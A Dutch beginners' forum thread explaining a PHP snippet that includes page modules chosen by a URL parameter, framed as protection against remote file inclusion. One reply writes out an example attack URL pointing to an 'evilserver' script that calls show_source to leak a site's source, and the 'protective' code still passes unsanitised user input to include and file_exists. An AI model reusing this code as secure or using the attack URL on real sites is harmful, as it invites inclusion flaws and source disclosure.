php code snap ik niet

Status
Niet open voor verdere reacties.

geus187

Gebruiker
Lid geworden
29 nov 2002
Berichten
30
beste helpmij-ers
ik zag dit staan bij tips & handleidingen:
PHP:
if($_GET['module'] == "")
{
include("modules/news/index.php");
   } 
   elseif($_GET['module'] == "news")
{
include("modules/news/index.php");
   } 
else
     {
if(file_exists("modules/".$_GET['module']."/"."index.php"))
        {
$module = $_GET['module'];
include("modules/"."$module"."/"."index.php");
        } 
   else 
           {
echo "De pagina bestaat niet!";
           }
maar ik snap niet wat er nou helemaal gebeurd...kan iemand me dat uitleggen ?
 
De gele tekst is de uitleg bij de code die ervoor staat
PHP:
<?
// $_GET['module'] staat voor de waarde die achter 'module' staat in de adresbalk, bv [url]http://www.website.nl?module=hallo.[/url] Dan heeft $_GET['module'] de waarde 'hallo'.

if($_GET['module'] == "") // Als de module leeg is of niet bestaat, dan...
{
include("modules/news/index.php"); //Dan wordt deze pagina ingevoegd...
   } 
   elseif($_GET['module'] == "news") // Als de module de waarde 'news' heeft, dan...
{
include("modules/news/index.php"); // Dan wordt deze pagina ingevoegd
   } 
else // Als de module niet leeg is en niet de waarde 'news' heeft, dan..
     {
if(file_exists("modules/".$_GET['module']."/"."index.php")) 

/* Controleren of het bestand bestaat (dat doet file_exists). 
Als de module bv. de waarde 'hallo' is, wordt gekeken of de pagina modules/hallo/index.php bestaat. Bij 'doei' is dat modules/doei/index.php
En als het bestand bestaat dan:
*/

        {
$module = $_GET['module']; // Hier wordt de variabele vereenvoudigt
include("modules/"."$module"."/"."index.php"); // Dan wordt de pagina modules/hallo/index.php ingevoegd (bij 'hallo' natuurlijk)
        } 
   else // Als het bestand niet bestaat, dan...
           {
echo "De pagina bestaat niet!"; // Dan wordt deze melding weergegeven
           }
?>
 
Laatst bewerkt:
Het is een beveiliging tegen het includen van bestanden (bv. 'evil' scripts) van buiten de server.

$_GET['module'] krijgt via de adresbalk van de browser een waarde:

http://www.jeserver.nl/index.php?module=nieuws

Ik heb laatst zelf een (voor beginners) wat makkelijker script geschreven:

PHP:
	  // Bescherming tegen 'evil' off-site linking van scripts.
 
	  if ( file_exists($action.".php" )) { // Kijken of beestand bestaat op server
	  	$show = $action;                   // Zo ja, bestand includen in iframe
	} elseif ( empty($action)) {           // Als $action leeg is
		$show = "home";                    // home.php laten zien
	} else {                               // Bestand bestaat niet op server of action is niet leeg
		$show = "error";                   // Laat de pagina error.php zien
	}

De variable action krijgt een waarde via de adresbalk zoals ik hierboven beschreef.
 
ok dat snap ik :cool:
maar er stond in de handleiding ook dat dit je beschermde tegen show_source()
hoe beschermd hij daartegen dan ?
 
Laatst bewerkt:
Geplaatst door geus187
ok dat snap ik :cool:
maar er stond in de handleiding ook dat dit je beschermde tegen show_source()
hoe beschermd hij daartegen dan ?

Als je gewoon zo zou includen:

http://www.jouserver.nl/index.php?show=home

include $show.".php";

Is het ook mogelijk om scripts te includen vanaf een andere server:

http://www.jouserver.nl/index.php?show=http://www.evilserver.nl/evil.php

En als het bestand evil.php dan de regel:

show_source("index.php");

bevat, kan iemand de broncode van jou index.php bekijken. En die bevat misschien wel gevoelige informatie.
 
pagina.php?show=home
include($show.".php");
wat als je dan gewoon
show_source("home.php");
zou doen ? want je weet de naam, en dan kun je er wel vanuitgaan dat de extensie .php is...kun je daar dan niet alsnog de broncode van zien dan ?
 
ooh nog een vraagje:
kun je i.p.v. die if-statements ook
PHP:
switch($site){
case "home":{
include("downloads.php");
}
break;
case "mail.php":{
include("mail.php");
}
break;
default:{
include("home.php");
}
}
doen ?
 
Ja, maar ik vind dat nogal onhandig, omdat je dan alle pagina's moet invoeren.
 
Status
Niet open voor verdere reacties.
Terug
Bovenaan Onderaan